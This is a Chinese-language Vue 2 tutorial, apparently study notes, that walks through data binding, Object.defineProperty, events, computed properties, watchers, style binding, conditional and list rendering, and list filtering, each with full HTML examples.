赞
踩
创建一个vue的实例
const x = new vue({});
下面的代码快速了解vue,快速知道vue的工作方式
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> <!-- 引入vue --> <script src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器 --> <div id="app"> <h1>hello,{{message}}</h1> 双括号里可以写javascript的表达式 如a,a+b,demo(a),x===y?'a':'b'等 不是代码:如if(){} for(){} </div> <script> Vue.config.productionTip = false //以阻止 vue 在启动时生成生产提示 // 创建一个实例 new Vue({ el:'#app', //el 用于指定当前Vue位于哪个容器中,值通常为为css选择器==字符串== data:{ //data中用于存放数据,数据供el所指定的容器去使用,值占时先写成一个对象。 message:'你好', } }) </script> </body> </html>
加v-bind
之后就当成表达式了
可以简写成:
总结
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> <!-- 引入vue --> <script src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器 --> <div id="root"> <!-- 普通写法 --> 单向数据的绑定: <input type="text" v-bind:value="name"><br> 双向数据的绑定: <input type="text" v-model:value="name"><br> <!-- 简单写法 --> 单向数据的绑定: <input type="text" :value="name"><br> 双向数据的绑定: <input type="text" v-model="name"><br> <!-- 如下代码是错误的,因为v-mode只能应用在表单类元素中(输入类元素)上 --> <h1 v-mode:x="name">你好啊</h1> </div> <script> Vue.config.productionTip = false //以阻止 vue 在启动时生成生产提示 new Vue({ el:"#root", data:{ name:"为将去哪" } }) </script> </body> </html>
总结:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> <!-- 引入vue --> <script src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器 --> <div id="root"> <h1>你好,{{name}}</h1> </div> <script> Vue.config.productionTip = false //以阻止 vue 在启动时生成生产提示 // el的两种写法 /* const v = new Vue({ // el:"#root", 第一种写法 data:{ name:"鲸落" } }) console.log(v); setTimeout(()=>{ v.$mount('#root') //第二种写法对于有定时器的时候更加的好 },1000) */ //data的两种写法 const x = new Vue({ // 第一种在上面 // data的函数式写法(第二种写法) el:"#root", data:()=>{ console.log("此处的this",this); return{ name:'鲸落' } } }) </script> </body> </html>
总结
下面的只是为了验证,并没有什么具体的意义
比如随便写一个
总结
Object.defineProperty
方法这个方法vue的底层用的比较多,所以有必要深入的了解它
这个方法是定义属性的意思,这个方法传入三个参数
在没有用到这个方法的时候
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> </head> <body> <script> let person = { name:"金落", sex:'男', age:12 } console.log(person); </script> </body> </html>
使用这个方法添加属性
let person = {
name:"金落",
sex:'男',
// age:12
}
Object.defineProperty(person,'age',{
value:12
})
console.log(person);
这个时候的通过这个方法添加的属性age
是不参加遍历的(也就是不参加枚举)
let person = {
name:"金落",
sex:'男',
// age:12
}
Object.defineProperty(person,'age',{
value:12
})
/* Object.keys()这个方法可以把传入其中的
对象的属性名提取出来组成一个数组 */
console.log(Object.keys(person));
进一步分析
let person = {
name:"金落",
sex:'男',
}
Object.defineProperty(person,'age',{
value:12,
enumerable:true //控制属性是否可以枚举
})
/* Object.keys()这个方法可以把参入其中的
对象的属性名提取出来组成一个数组 */
console.log(Object.keys(person));
let number = 22; let person = { name:"金落", sex:'男', } Object.defineProperty(person,'age',{ /* 当有人读取person的age属性时, get函数(getter)就会被调用,且返回值就是age的值 */ get:function(){ return number } }) /* Object.keys()这个方法可以把参入其中的 对象的属性名提取出来组成一个数组 */ console.log(person);
完整代码
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>回顾Object.defineproperty方法</title> </head> <body> <script type="text/javascript" > let number = 18 let person = { name:'张三', sex:'男', } Object.defineProperty(person,'age',{ // value:18, // enumerable:true, //控制属性是否可以枚举,默认值是false // writable:true, //控制属性是否可以被修改,默认值是false // configurable:true //控制属性是否可以被删除,默认值是false //当有人读取person的age属性时,get函数(getter)就会被调用,且返回值就是age的值 // get:function()可以简写成get() get(){ console.log('有人读取age属性了') return number }, //当有人修改person的age属性时,set函数(setter)就会被调用,且会收到修改的具体值 set(value){ console.log('有人修改了age属性,且值是',value) number = value } }) // console.log(Object.keys(person)) console.log(person) </script> </body> </html>
简单的数据代理的例子
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>何为数据代理</title> </head> <body> <!-- 数据代理:通过一个对象代理对另一个对象中属性的操作(读/写)--> <script type="text/javascript" > let obj = {x:100} let obj2 = {y:200} Object.defineProperty(obj2,'x',{ get(){ return obj.x }, set(value){ obj.x = value } }) </script> </body> </html>
这个就相当于数据的双向绑定了
代码如下
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Vue中的数据代理</title> <!-- 引入vue --> <script src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器 --> <div id="root"> <h1>学校名称:{{name}}</h1> <h2>学校地址:{{address}}</h2> </div> <script> Vue.config.productionTip = false //以阻止 vue 在启动时生成生产提示 const vm = new Vue({ el:"#root", data:{ name:"鲸落", address:"武汉" } }) </script> </body> </html>
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>事件的基本使用</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 事件的基本使用: 1.使用v-on:xxx 或 @xxx 绑定事件,其中xxx是事件名; 2.事件的回调需要配置在methods对象中,最终会在vm上; 3.methods中配置的函数,不要用箭头函数!否则this就不是vm了; 4.methods中配置的函数,都是被Vue所管理的函数,this的指向是vm 或 组件实例对象; 5.@click="demo" 和 @click="demo($event)" 效果一致,但后者可以传参; --> <!-- 准备好一个容器--> <div id="root"> <h2>欢迎来到{{name}}学习</h2> <!-- <button v-on:click="showInfo">点我提示信息</button> --> <button @click="showInfo1">点我提示信息1(不传参)</button> <button @click="showInfo2($event,66)">点我提示信息2(传参)</button> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ name:'尚硅谷', }, methods:{ showInfo1(event){ // console.log(event.target.innerText) // console.log(this) //此处的this是vm alert('同学你好!') }, showInfo2(event,number){ console.log(event,number) // console.log(event.target.innerText) // console.log(this) //此处的this是vm alert('同学你好!!') } } }) </script> </html>
prevent
阻止事件的默认行为<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>事件修饰符</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> <h2>欢迎来到{{name}}学习</h2> <!-- 1.阻止默认事件(常用) --> <!-- 在这里a标签href写了一个网站,使用prevent之后,就会阻止它跳转。 --> <a href="http://www.atguigu.com" @click.prevent="showInfo">点我提示信息</a> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ name:'尚硅谷' }, methods:{ showInfo(e){ alert('同学你好!') // console.log(e.target) }, } }) </script> </html>
stop
阻止事件冒泡<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>事件修饰符</title> <!-- 引入Vue --> <style type="text/css"> .demo1{ height: 50px; background-color: skyblue; } </style> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> <!-- 2.阻止事件冒泡(常用) --> <div class="demo1" @click="showInfo"> <button @click.stop="showInfo">点我提示信息</button> <!-- 没有写stop的话,就会弹出两次,写了就阻止它到父元素的身上 --> </div> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ name:'尚硅谷' }, methods:{ showInfo(e){ alert('同学你好!') // console.log(e.target) }, } }) </script> </html>
提示事件是先捕获再冒泡,而事件的触发是在事件冒泡阶段发生的
完整代码
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>事件修饰符</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> <style> *{ margin-top: 20px; } .demo1{ height: 50px; background-color: skyblue; } .box1{ padding: 5px; background-color: skyblue; } .box2{ padding: 5px; background-color: orange; } .list{ width: 200px; height: 200px; background-color: peru; overflow: auto; } li{ height: 100px; } </style> </head> <body> <!-- Vue中的事件修饰符: 1.prevent:阻止默认事件(常用); 2.stop:阻止事件冒泡(常用); 3.once:事件只触发一次(常用); 4.capture:使用事件的捕获模式; 5.self:只有event.target是当前操作的元素时才触发事件; 6.passive:事件的默认行为立即执行,无需等待事件回调执行完毕; --> <!-- 准备好一个容器--> <div id="root"> <h2>欢迎来到{{name}}学习</h2> <!-- 1.阻止默认事件(常用) --> <!-- 在这里a标签href写了一个网站,使用prevent之后,就会阻止它跳转。 --> <a href="http://www.atguigu.com" @click.prevent="showInfo">点我提示信息</a> <!-- 2.阻止事件冒泡(常用) --> <div class="demo1" @click="showInfo"> <button @click.stop="showInfo">点我提示信息</button> <!-- 没有写stop的话,就会弹出两次,写了就阻止它到父元素的身上 --> <!-- 修饰符可以连续写 --> <a href="http://www.atguigu.com" @click.stop.prevent="showInfo">点我提示信息</a> </div> <!--3.事件只触发一次(常用) --> <!-- 之后在点就不会触发了,除非刷新页面 --> <button @click.once="showInfo">点我提示信息</button> <!-- 使用事件的捕获模式 --> <div class="box1" @click.capture="showMsg(1)"> div1 <div class="box2" @click="showMsg(2)"> div2 </div> </div> <!-- 只有event.target是当前操作的元素时才触发事件; --> <div class="demo1" @click.self="showInfo"> <button @click="showInfo">点我提示信息</button> </div> <!-- 事件的默认行为立即执行,无需等待事件回调执行完毕; --> <ul @wheel.passive="demo" class="list"> <li>1</li> <li>2</li> <li>3</li> <li>4</li> </ul> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ name:'尚硅谷' }, methods:{ showInfo(e){ alert('同学你好!') // console.log(e.target) }, showMsg(msg){ console.log(msg) }, demo(){ for (let i = 0; i < 100000; i++) { console.log('#') } console.log('累坏了') } } }) </script> </html>
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>键盘事件</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 1.Vue中常用的按键别名: 回车 => enter 删除 => delete (捕获“删除”和“退格”键) 退出 => esc 空格 => space 换行 => tab (特殊,必须配合keydown去使用) 上 => up 下 => down 左 => left 右 => right 2.Vue未提供别名的按键,可以使用按键原始的key值去绑定,但注意要转为kebab-case(短横线命名) 3.系统修饰键(用法特殊):ctrl、alt、shift、meta (1).配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。 (2).配合keydown使用:正常触发事件。 4.也可以使用keyCode去指定具体的按键(不推荐) 5.Vue.config.keyCodes.自定义键名 = 键码,可以去定制按键别名 --> <!-- 准备好一个容器--> <div id="root"> <h2>欢迎来到{{name}}学习</h2> <input type="text" placeholder="按下回车提示输入" @keydown.huiche="showInfo"> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 Vue.config.keyCodes.huiche = 13 //定义了一个别名按键 new Vue({ el:'#root', data:{ name:'尚硅谷' }, methods: { showInfo(e){ // console.log(e.key,e.keyCode) console.log(e.target.value) } }, }) </script> </html>
下面是本节要实现的效果,通过不同的方式实现进行比较,最后发现设计计算属性的目的。
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>姓名案例_插值语法实现</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器--> <div id="root"> 姓:<input type="text" v-model="firstName"> <br/><br/> 名:<input type="text" v-model="lastName"> <br/><br/> 全名:<span>{{firstName}}-{{lastName}}</span> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ firstName:'张', lastName:'三' } }) </script> </html>
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>姓名案例_methods实现</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器--> <div id="root"> 姓:<input type="text" v-model="firstName"> <br/><br/> 名:<input type="text" v-model="lastName"> <br/><br/> 全名:<span>{{fullName()}}</span> <!-- <span>{{fullName}}</span> 这样写的话打印的就是里面的内容,在绑定事件的时候可以不写括号,但是在这里必须写 --> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ firstName:'张', lastName:'三' }, methods: { fullName(){ console.log('@---fullName') return this.firstName + '-' + this.lastName } }, }) </script> </html>
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>姓名案例_计算属性实现</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 计算属性: 1.定义:要用的属性不存在,要通过已有属性计算得来。 2.原理:底层借助了Objcet.defineproperty方法提供的getter和setter。 3.get函数什么时候执行? (1).初次读取时会执行一次。 (2).当依赖的数据发生改变时会被再次调用。 4.优势:与methods实现相比,内部有缓存机制(复用),效率更高,调试方便。 5.备注: 1.计算属性最终会出现在vm上,直接读取使用即可。 2.如果计算属性要被修改,那必须写set函数去响应修改,且set中要引起计算时依赖的数据发生改变。 --> <!-- 准备好一个容器--> <div id="root"> 姓:<input type="text" v-model="firstName"> <br/><br/> 名:<input type="text" v-model="lastName"> <br/><br/> 测试:<input type="text" v-model="x"> <br/><br/> 全名:<span>{{fullName}}</span> <br/><br/> <!-- 全名:<span>{{fullName}}</span> <br/><br/> 全名:<span>{{fullName}}</span> <br/><br/> 全名:<span>{{fullName}}</span> --> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ firstName:'张', lastName:'三', x:'你好' }, methods: { demo(){ } }, computed:{ fullName:{ //get有什么作用?当有人读取fullName时,get就会被调用,且返回值就作为fullName的值 //get什么时候调用?1.初次读取fullName时。2.所依赖的数据发生变化时。 get(){ console.log('get被调用了') // console.log(this) //此处的this是vm 是vue帮我们调成这样的 return this.firstName + '-' + this.lastName }, //set什么时候调用? 当fullName被修改时。 set(value){ console.log('set',value) const arr = value.split('-') this.firstName = arr[0] this.lastName = arr[1] } } } }) </script> </html>
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>姓名案例_计算属性实现</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器--> <div id="root"> 姓:<input type="text" v-model="firstName"> <br/><br/> 名:<input type="text" v-model="lastName"> <br/><br/> 全名:<span>{{fullName}}</span> <br/><br/> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ firstName:'张', lastName:'三', }, //当确定了只读取,不修改的话就可以写成下面的简写方式 computed:{ //完整写法 /* fullName:{ get(){ console.log('get被调用了') return this.firstName + '-' + this.lastName }, set(value){ console.log('set',value) const arr = value.split('-') this.firstName = arr[0] this.lastName = arr[1] } } */ //简写 fullName(){ console.log('get被调用了') return this.firstName + '-' + this.lastName } } }) </script> </html>
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>天气案例</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器--> <div id="root"> <h2>今天天气很{{info}}</h2> <!-- 绑定事件的时候:@xxx="yyy" yyy可以写一些简单的语句 (写一些简单的不要写太复杂)--> <!-- <button @click="isHot = !isHot">切换天气</button> --> <button @click="changeWeather">切换天气</button> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ isHot:true, }, computed:{ info(){ return this.isHot ? '炎热' : '凉爽' } }, methods: { changeWeather(){ this.isHot = !this.isHot } }, }) </script> </html>
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>天气案例_监视属性</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 监视属性watch: 1.当被监视的属性变化时, 回调函数自动调用, 进行相关操作 2.监视的属性必须存在,才能进行监视!! 3.监视的两种写法: (1).new Vue时传入watch配置 (2).通过vm.$watch监视 --> <!-- 准备好一个容器--> <div id="root"> <h2>今天天气很{{info}}</h2> <button @click="changeWeather">切换天气</button> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ isHot:true, }, computed:{ info(){ return this.isHot ? '炎热' : '凉爽' } }, methods: { changeWeather(){ this.isHot = !this.isHot } }, /* watch:{ isHot:{ immediate:true, //初始化时让handler调用一下 //handler什么时候调用?当isHot发生改变时。 handler(newValue,oldValue){ console.log('isHot被修改了',newValue,oldValue) } } } */ }) vm.$watch('isHot',{ immediate:true, //初始化时让handler调用一下 //handler什么时候调用?当isHot发生改变时。 handler(newValue,oldValue){ console.log('isHot被修改了',newValue,oldValue) } }) </script> </html>
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>天气案例_深度监视</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 深度监视: (1).Vue中的watch默认不监测对象内部值的改变(一层)。 (2).配置deep:true可以监测对象内部值改变(多层)。 备注: (1).Vue自身可以监测对象内部值的改变,但Vue提供的watch默认不可以! (2).使用watch时根据数据的具体结构,决定是否采用深度监视。 --> <!-- 准备好一个容器--> <div id="root"> <h2>今天天气很{{info}}</h2> <button @click="changeWeather">切换天气</button> <hr/> <h3>a的值是:{{numbers.a}}</h3> <button @click="numbers.a++">点我让a+1</button> <h3>b的值是:{{numbers.b}}</h3> <button @click="numbers.b++">点我让b+1</button> <button @click="numbers = {a:666,b:888}">彻底替换掉numbers</button> {{numbers.c.d.e}} </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ isHot:true, numbers:{ a:1, b:1, c:{ d:{ e:100 } } } }, computed:{ info(){ return this.isHot ? '炎热' : '凉爽' } }, methods: { changeWeather(){ this.isHot = !this.isHot } }, watch:{ isHot:{ // immediate:true, //初始化时让handler调用一下 //handler什么时候调用?当isHot发生改变时。 handler(newValue,oldValue){ console.log('isHot被修改了',newValue,oldValue) } }, //监视多级结构中某个属性的变化 /* 'numbers.a':{ handler(){ console.log('a被改变了') } } */ //监视多级结构中所有属性的变化 numbers:{ deep:true, handler(){ console.log('numbers改变了') } } } }) </script> </html>
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>天气案例_监视属性_简写</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器--> <div id="root"> <h2>今天天气很{{info}}</h2> <button @click="changeWeather">切换天气</button> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ isHot:true, }, computed:{ info(){ return this.isHot ? '炎热' : '凉爽' } }, methods: { changeWeather(){ this.isHot = !this.isHot } }, watch:{ //正常写法 /* isHot:{ // immediate:true, //初始化时让handler调用一下 // deep:true,//深度监视 handler(newValue,oldValue){ console.log('isHot被修改了',newValue,oldValue) } }, */ //简写 /* isHot(newValue,oldValue){ console.log('isHot被修改了',newValue,oldValue,this) } */ } }) //正常写法 /* vm.$watch('isHot',{ immediate:true, //初始化时让handler调用一下 deep:true,//深度监视 handler(newValue,oldValue){ console.log('isHot被修改了',newValue,oldValue) } }) */ //简写 /* vm.$watch('isHot',(newValue,oldValue)=>{ console.log('isHot被修改了',newValue,oldValue,this) }) */ </script> </html>
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>姓名案例_watch实现</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- computed和watch之间的区别: 1.computed能完成的功能,watch都可以完成。 2.watch能完成的功能,computed不一定能完成,例如:watch可以进行异步操作。 两个重要的小原则: 1.所被Vue管理的函数,最好写成普通函数,这样this的指向才是vm 或 组件实例对象。 2.所有不被Vue所管理的函数(定时器的回调函数、ajax的回调函数等、Promise的回调函数),最好写成箭头函数, 这样this的指向才是vm 或 组件实例对象。 --> <!-- 准备好一个容器--> <div id="root"> 姓:<input type="text" v-model="firstName"> <br/><br/> 名:<input type="text" v-model="lastName"> <br/><br/> 全名:<span>{{fullName}}</span> <br/><br/> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ firstName:'张', lastName:'三', fullName:'张-三' }, watch:{ firstName(val){ setTimeout(()=>{ console.log(this) this.fullName = val + '-' + this.lastName },1000); }, lastName(val){ this.fullName = this.firstName + '-' + val } } }) </script> </html>
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>绑定样式</title> <style> .basic{ width: 400px; height: 100px; border: 1px solid black; } .happy{ border: 4px solid red;; background-color: rgba(255, 255, 0, 0.644); background: linear-gradient(30deg,yellow,pink,orange,yellow); } .sad{ border: 4px dashed rgb(2, 197, 2); background-color: gray; } .normal{ background-color: skyblue; } .atguigu1{ background-color: yellowgreen; } .atguigu2{ font-size: 30px; text-shadow:2px 2px 10px red; } .atguigu3{ border-radius: 20px; } </style> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 绑定样式: 1. class样式 写法:class="xxx" xxx可以是字符串、对象、数组。 字符串写法适用于:类名不确定,要动态获取。 对象写法适用于:要绑定多个样式,个数不确定,名字也不确定。 数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用。 2. style样式 :style="{fontSize: xxx}"其中xxx是动态值。 :style="[a,b]"其中a、b是样式对象。 --> <!-- 准备好一个容器--> <div id="root"> <!-- 绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定 --> <div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br/><br/> <!-- 绑定class样式--数组写法,适用于:要绑定的样式个数不确定、名字也不确定 --> <div class="basic" :class="classArr">{{name}}</div> <br/><br/> <!-- 绑定class样式--对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用 --> <div class="basic" :class="classObj">{{name}}</div> <br/><br/> <!-- 绑定style样式--对象写法 --> <div class="basic" :style="styleObj">{{name}}</div> <br/><br/> <!-- 绑定style样式--数组写法 --> <div class="basic" :style="styleArr">{{name}}</div> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false const vm = new Vue({ el:'#root', data:{ name:'尚硅谷', mood:'normal', classArr:['atguigu1','atguigu2','atguigu3'], classObj:{ atguigu1:false, atguigu2:false, }, styleObj:{ fontSize: '40px', color:'red', }, styleObj2:{ backgroundColor:'orange' }, styleArr:[ { fontSize: '40px', color:'blue', }, { backgroundColor:'gray' } ] }, methods: { changeMood(){ const arr = ['happy','sad','normal'] const index = Math.floor(Math.random()*3) this.mood = arr[index] } }, }) </script> </html>
运行结果
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>条件渲染</title> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 条件渲染: 1.v-if 写法: (1).v-if="表达式" (2).v-else-if="表达式" (3).v-else="表达式" 适用于:切换频率较低的场景。 特点:不展示的DOM元素直接被移除。 注意:v-if可以和:v-else-if、v-else一起使用,但要求结构不能被“打断”。 2.v-show 写法:v-show="表达式" 适用于:切换频率较高的场景。 特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉 3.备注:使用v-if的时,元素可能无法获取到,而使用v-show一定可以获取到。 --> <!-- 准备好一个容器--> <div id="root"> <h2>当前的n值是:{{n}}</h2> <button @click="n++">点我n+1</button> <!-- 使用v-show做条件渲染 --> <!-- <h2 v-show="false">欢迎来到{{name}}</h2> --> <!-- <h2 v-show="1 === 1">欢迎来到{{name}}</h2> --> <!-- 使用v-if做条件渲染 --> <!-- <h2 v-if="false">欢迎来到{{name}}</h2> --> <!-- <h2 v-if="1 === 1">欢迎来到{{name}}</h2> --> <!-- v-else和v-else-if --> <!-- <div v-if="n === 1">Angular</div> <div v-else-if="n === 2">React</div> <div v-else-if="n === 3">Vue</div> <div v-else>哈哈</div> --> <!-- v-if与template的配合使用 --> <template v-if="n === 1"> <h2>你好</h2> <h2>尚硅谷</h2> <h2>北京</h2> </template> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false const vm = new Vue({ el:'#root', data:{ name:'尚硅谷', n:0 } }) </script> </html>
我们本节要实现的主要有下面的这些
v-for指令
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>基本列表</title> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器--> <div id="root"> <!-- 遍历数组 --> <h2>人员列表(遍历数组)</h2> <ul> <li v-for="(p,index) of persons" :key="index"> {{p.name}}-{{p.age}} </li> </ul> <!-- 遍历对象 --> <h2>汽车信息(遍历对象)</h2> <ul> <li v-for="(value,k) of car" :key="k"> {{k}}-{{value}} </li> </ul> <!-- 遍历字符串 --> <h2>测试遍历字符串(用得少)</h2> <ul> <li v-for="(char,index) of str" :key="index"> {{char}}-{{index}} </li> </ul> <!-- 遍历指定次数 --> <h2>测试遍历指定次数(用得少)</h2> <ul> <li v-for="(number,index) of 5" :key="index"> {{index}}-{{number}} </li> </ul> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el:'#root', data:{ persons:[ {id:'001',name:'张三',age:18}, {id:'002',name:'李四',age:19}, {id:'003',name:'王五',age:20} ], car:{ name:'奥迪A8', price:'70万', color:'黑色' }, str:'hello' } }) </script> </html>
运行结果
代码如下
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>用于检测</title> <!-- 引入vue --> <script src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器 --> <div id="root"> <ul> <!-- 遍历数组 --> <h2>人员列表</h2> <button @click.once="add">添加一个老刘</button> <li v-for="(p,index) of persons" :key="index"> {{p.name}}-{{p.age}} <input type="text"> </li> </ul> </div> <script> Vue.config.productionTip = false new Vue({ el:"#root", data:{ persons:[ {id:'001',name:'张三',age:12}, {id:'002',name:'李四',age:12}, {id:'003',name:'王五',age:12} ] }, methods: { add(){ const p = {id:'004',name:'老刘',age:40}; this.persons.unshift(p); //往前面添加 } }, }) </script> </body> </html>
对上面的代码进行标记
运行结果
当在每一个输入框中输入内容的时候
这个时候点击按钮,会看到
接下来,改一下
下面显示正常,没有错位了
详细原理如下
使用index作为key
=使用id作为key
总结
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>列表过滤</title> <!-- 引入vue --> <script src="../js/vue.js"></script> </head> <body> <div id="root"> <ul> <h2>人员列表</h2> <input type="text" placeholder="请输入名字" v-model="keyWord"> <li v-for="(p,index) in filpersons" :key="index"> {{p.name}}-{{p.age}}-{{p.sex}} </li> </ul> </div> <script> Vue.config.productionTip = false //以阻止 vue 在启动时生成生产提示 //方式一: 用watch实现 new Vue({ el:"#root", data:{ keyWord:"", //刚开始的时候为空 persons:[ {id:'001',name:'马冬梅',age:12,sex:'女'}, {id:'002',name:'周冬雨',age:22,sex:'女'}, {id:'003',name:'周杰伦',age:34,sex:'男'}, {id:'004',name:'温兆伦',age:21,sex:'男'} ], filpersons:[] }, watch:{ keyWord:{ immediate:true, //可以走来就执行一次 handler(val){ this.filpersons = this.persons.filter((p)=>{ return p.name.indexOf(val) !== -1; }) } } } }) </script> </body> </html>
代码分析
知识回顾
filter
过滤器
indexof
数组的一个方法
没有的就返回-1,
注意:空格也是返回-1
这个方法比上面有watch要好一点,简单一点
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>列表过滤</title> <!-- 引入vue --> <script src="../js/vue.js"></script> </head> <body> <div id="root"> <ul> <h2>人员列表</h2> <input type="text" placeholder="请输入名字" v-model="keyWord"> <li v-for="(p,index) in filpersons" :key="index"> {{p.name}}-{{p.age}}-{{p.sex}} </li> </ul> </div> <script> Vue.config.productionTip = false //以阻止 vue 在启动时生成生产提示 //方式一: 用watch实现 new Vue({ el:"#root", data:{ keyWord:"", //刚开始的时候为空 persons:[ {id:'001',name:'马冬梅',age:12,sex:'女'}, {id:'002',name:'周冬雨',age:22,sex:'女'}, {id:'003',name:'周杰伦',age:34,sex:'男'}, {id:'004',name:'温兆伦',age:21,sex:'男'} ], }, computed:{ //刚开始的时候就会执行一次 数据改变的时候也会执行 filpersons(){ return this.persons.filter((p)=>{ return p.name.indexOf(this.keyWord) !==-1; }) } } }) </script> </body> </html>
首先先回顾一下数组中的sort
方法,sort会改变原来的数组
详细教程sort方法文档
举例子
Vue.config.productionTip = false //以阻止 vue 在启动时生成生产提示
// 如果数组是数字的话,就需要在方法里面的函数里面传入两个参数
let arr = [1,4,3,2];
// 根据a-b还是b-a确定是降序还是升序 默认是降序
arr.sort(function(a,b){
return a-b; //第一参数减去第二参数 升序
})
console.log(arr);
